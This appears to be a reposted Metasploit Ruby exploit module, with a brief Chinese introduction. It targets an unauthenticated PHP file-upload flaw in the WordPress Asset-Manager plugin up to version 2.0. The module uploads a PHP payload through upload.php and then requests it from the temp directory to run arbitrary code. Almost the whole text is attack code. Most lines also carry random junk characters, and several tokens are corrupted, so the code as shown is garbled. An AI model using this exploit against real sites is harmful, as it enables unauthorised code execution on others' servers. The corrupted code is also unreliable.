这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。$ h: p+ v* {, n5 ?: b& x
: g& I Y' i, s8 d
##
* y* w, U0 l( m. i9 p9 D; h( _# This file is part of the Metasploit Framework and may be subject to% z c1 \+ z0 d4 A
# redistribution and commercial restrictions. Please see the Metasploit
- w+ u! u$ i2 u7 [: M- u/ e# Framework web site for more information on licensing and terms of use.
$ t/ V9 N( m' C/ d [; }# http://metasploit.com/framework/
b4 ?/ R" A( i" Q9 ?) N( s- [##' F+ c; ^2 H' F* k7 A& `
( o# F: X! A- l& Y' K! q& T$ Nrequire 'msf/core'3 h' N7 w8 l R2 p6 V
require 'msf/core/exploit/php_exe'
# j. C; ?9 D4 ^
, j9 Z) Z! H( ~- C* [class Metasploit3 < Msf::Exploit::Remote% U; M2 q8 T2 S, o
Rank = ExcellentRanking
; P ?% R* T& Z8 c( c
9 k' a" ^& o$ L) D include Msf::Exploit::Remote::HttpClient
- r5 v1 u# Y6 s% Q7 J' \6 ]& I include Msf::Exploit: hpEXE, h% M6 N" U/ T5 r# u
' C; ~; j3 J- y& Y5 Z: @% t
def initialize(info = {})6 m5 e& u" Y! \! ]# q
super(update_info(info,
$ O @5 _3 y7 j2 m5 C 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
& Q7 d- z; \; W 'Description' => %q{" b( o! L. g2 _) p- i
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
/ f2 v/ u2 w+ o1 i1 _7 Z plugin. By abusing the upload.php file, a malicious user can upload a file to a. O/ K, o' C) v
temp directory without authentication, which results in arbitrary code execution.8 f8 ~( P- X; x% ~ U" f& u
},
0 n$ h/ A8 Z8 N: D& R1 S1 R, L 'Author' =>2 K6 ?' |. |( b* w
[
# b8 b" H: V5 P D1 ~1 i5 s 'Sammy FORGIT', # initial discovery
7 H% V% V- Q- y 'James Fitts <fitts.james[at]gmail.com>' # metasploit module0 U! S& P% k/ g0 z2 C p5 @: U; |
],2 c% Y7 @* Z1 ]0 A) e
'License' => MSF_LICENSE,
: T2 V6 l- i7 D# A6 }) G4 N0 L 'References' =>9 P. U& }2 z( k& x- a. _/ Z) j9 c
[' @2 ~! U0 G+ z/ y3 i
[ 'OSVDB', '82653' ],. t$ O: A* I6 p
[ 'BID', '53809' ],
0 I9 \0 U7 k/ n6 I* w [ 'EDB', '18993' ],, v) z+ w# ^6 i9 D1 N9 S
[ 'URL', 'http:// www.myhack58.com /' ]. `3 M j B7 z, p" e, K3 K5 D
],, F5 }8 W/ l |( o4 @3 q3 r
'Payload' =>5 s" u: V6 w2 i5 Z1 D" p
{1 q" Z% j W% k) g8 n7 s
'BadChars' => "\x00",
& k6 D$ m9 j, Q; K$ _0 V },/ S. ]( o6 {$ | |4 j
'Platform' => 'php',
, b& S; g0 v) H, t" N 'Arch' => ARCH_PHP,
2 c# F O8 f& X$ L, b: f/ k, K/ H7 ?2 [ 'Targets' =>
& S9 P: h4 y0 D2 ^ c [
/ C5 f! r; a7 D: B; V& |. ? [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
$ f5 d6 Y7 Z- q6 m; z G' P [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]7 ^* }$ @* y( \9 y( {
],
! s N+ R; s# {: M) e" w& j 'DefaultTarget' => 0,: w y0 Y8 u& T1 o* d
'DisclosureDate' => 'May 26 2012'))
9 ]5 _/ f" _( L7 ]& g ) t. J9 t$ B$ R* l4 m3 H' d
register_options(
) ? H7 w/ D3 U) E [
$ }$ `7 U! L' g( `, e5 @% q' ^" B9 ? OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) K- r2 `+ }! k/ G+ w
], self.class)3 R4 o* G( h8 Y
end2 E" l3 e9 N3 f7 \
5 \5 u' G" Y1 Z' P$ C+ P. q/ c/ T def exploit* m0 @4 Y& c) |
uri = target_uri.path
$ |4 ~* ~1 U2 ~/ }) Q; h& }: n+ [/ A uri << '/' if uri[-1,1] != '/'2 y( k! `% D ]& i; Z+ C4 F
peer = "#{rhost}:#{rport}"& i' l7 o2 A+ |8 y. n* r% M
payload_name = "#{rand_text_alpha(5)}.php"% \' A- @; m. A* L' j f* O
php_payload = get_write_exec_payload(:unlink_self=>true)
: S8 o' h5 S7 {5 ]! L
5 A0 N) s$ U8 k! h+ u! M x data = Rex::MIME::Message.new
* Z0 c) o0 O' Q( X9 O data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")+ D& T) n s2 ?3 ?4 N* i) A
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')% S% E* g* i" k& o4 D
S% r7 w: M1 E7 d) M1 E, T4 l$ S
print_status("#{peer} - Uploading payload #{payload_name}")
; p: m/ y+ t0 u res = send_request_cgi({# ^4 V6 S: G1 V$ {
'method' => 'POST',
: c y0 h/ z' w! F; m* S 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",' J- D" g# I! {( X% {
'ctype' => "multipart/form-data; boundary=#{data.bound}",( q3 w2 L0 M/ v: U
'data' => post_data8 G, X) g/ o8 d; ]) s4 i
})
9 j4 i, K/ v, e: Q - V3 U% D1 h" K6 Y. Q" t# e
if not res or res.code != 200 or res.body !~ /#{payload_name}/0 l( m2 O. W) T& j$ \
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
e6 a' Z J4 y) U- Qend
& m7 k* u: G0 s! j p& A$ M9 v2 l# `' j
5 M2 } Y6 M. Z print_status("#{peer} - Executing payload #{payload_name}")
: v" R9 H6 g) Z( j9 c- T$ \ res = send_request_raw({' B1 c, I4 Q; A9 ~6 }6 Q1 n
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",: |- n- g, V* x' V
'method' => 'GET'0 {: q' b2 t: Z0 O7 d5 }( U- h( Z
})- y$ K( n1 a r- G0 b# z. o
X- w6 p* c; R. F' \# t( q: V
if res and res.code != 2006 F0 i- o! g4 ~' L$ r" g
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed"). z: _' h5 |" j! ^& x* k& Q
end
% o+ t( \. R, J, C8 e* f end
" j# x: B7 i& u* B# Qend
' I( s2 T6 r" p; R' {$ x4 ^; W; _% q |